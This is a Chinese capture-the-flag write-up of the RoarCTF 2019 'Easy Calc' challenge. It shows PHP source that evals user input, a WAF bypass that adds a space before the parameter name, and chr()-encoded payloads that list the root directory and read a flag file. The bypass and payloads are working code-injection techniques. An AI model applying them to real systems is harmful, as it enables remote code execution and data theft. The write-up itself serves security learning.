BUUCTF——WEB(8)

目录

[RoarCTF 2019Easy Calc 1](#[RoarCTF 2019]Easy Calc 1)

RoarCTF 2019Easy Calc 1

简易计算器

尝试不同字符

没有发现什么

审阅源码查看

有WAF

有一个calc.php文件可以通过num参数进行GET传参

访问calc.php,是一个过滤规则

复制代码
<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];		#定义 "黑名单数组",包含需要过滤的字符
        foreach ($blacklist as $blackitem) {		#foreach 遍历数组,依次把blacklist中的每个字符赋值给$blackitem
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?>

黑名单过滤了单 / 双引号,可通过chr()函数(根据 ASCII 码生成字符)绕过:

scandir()函数扫描服务器根目录

var_dump()PHP 内置函数,会打印出参数的类型 + 值 (比如数组的所有元素),比echo更适合查看目录列表(数组类型)

scandir(chr(47))扫描服务器根目录

  • scandir(目录路径):PHP 内置函数,扫描指定目录,返回该目录下的所有文件 / 文件夹组成的数组;

  • chr(47):ASCII 码 47 对应字符/(Linux 服务器的根目录),用chr()绕过黑名单对引号的过滤(无法直接写scandir('/'),因为单引号在黑名单)。

测试WAF

复制代码
calc.php?num=a

猜测WAF在检测num的值,如果num传入数字不被拦截,

num等于1',出现what are you want to do,WAF没有拦截,

num等于字符,WAF拦截

num等于非数字字符串,WAF拦截

传递其他参数,WAF并没有拦截,执行calc.php文件内容,num为空,高亮显示代码

因此需要传递num参数,通过WAF检测,还要num的参数绕过calc.php代码的过滤

想要通过WAF检测

就需要一个让WAF认为传递的参数不是num,

让php文件认为传递的参数是num

在num前加一个空格,利用字符串解析的特性

使用空格num,使WAF认为传递的不是num参数,通过WAF检测,这样waf就找不到num这个变量了,因为WAF来看变量叫空格num,而不是num

但是php解析的时候,会删除前后的空白符(空格符,制表符,换行符等统称为空白符);将某些字符转换为下划线(包括空格);这样代码就可以运行

通过在num前面加空格成功绕过WAF

绕过php代码的过滤,

传入

复制代码
calc.php? num=phpinfo()

那么使用

var_dump()输出变量的相关信息

scandir()函数以数组形式返回指定目录中的目录和文件

var_dump(scandir("/")) 用来输出根目录下的文件

但是双引号被过滤了 ,

chr(ASCII码):将数字 ASCII 码转为对应字符

ord(字符):将字符转为对应 ASCII 码

可以使用ASCII,chr(47)表示/

var_dump(scandir(chr(47))

构造Payload

复制代码
calc.php? num=var_dump(scandir(chr(47)))

输出

有个f1agg文件

尝试读取

file_get_contents()函数传入参数为文件路径,将整个文件读入一个字符串中

构造Payload

复制代码
calc.php? num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

47、102、49、97、103、103分别是\f1agg的ASCII编码
相关推荐
绘梨衣的sakura路19 分钟前
Fastjson ≤ 1.2.83 新型 RCE 漏洞深度分析:三层绕过机制与完整利用链
安全·web安全·json
北龙云海26 分钟前
案例分享 | 面向公网业务系统境内访问白名单配置实操方案
运维·网络·安全·网络安全·告警·数据泄露·入侵攻击
niaiheni3 小时前
Fastjson 1.2.83 “Gadget-Free“ RCE
网络·安全·web安全
Draina4 小时前
CBC填充预言攻击-CBC Padding Oracle Crypto Attack
python·安全·web安全·网络安全·密码学·安全性测试
白山云北诗6 小时前
漏洞扫描+渗透测试:从资产摸底到风险验证,完成二次安全收口
网络·安全·web安全·渗透测试·漏洞扫描·ddos防护·cc防护
国际云,接待15 小时前
Google Cloud Armor实战:给网站API加WAF、限速和日志验证
后端·网络安全·云计算·googlecloud
treesforest15 小时前
公开IP属地后我们应该如何保护自身网络安全?
tcp/ip·安全·web安全·ip属地·查ip归属地
Sagittarius_A*15 小时前
Web 安全之 Git 泄露:原理剖析 + CTFHub Log/Stash/Index 全题型解法
git·安全·web安全
admin and root1 天前
「移动安全」安卓APP 反编译&frida脱壳技巧分享
android·开发语言·python·web安全·微信小程序·移动安全·攻防演练
云水一下1 天前
零基础玩转bWAPP靶场(十四):SQL 注入(GET/选择型)
web安全·sql注入·bwapp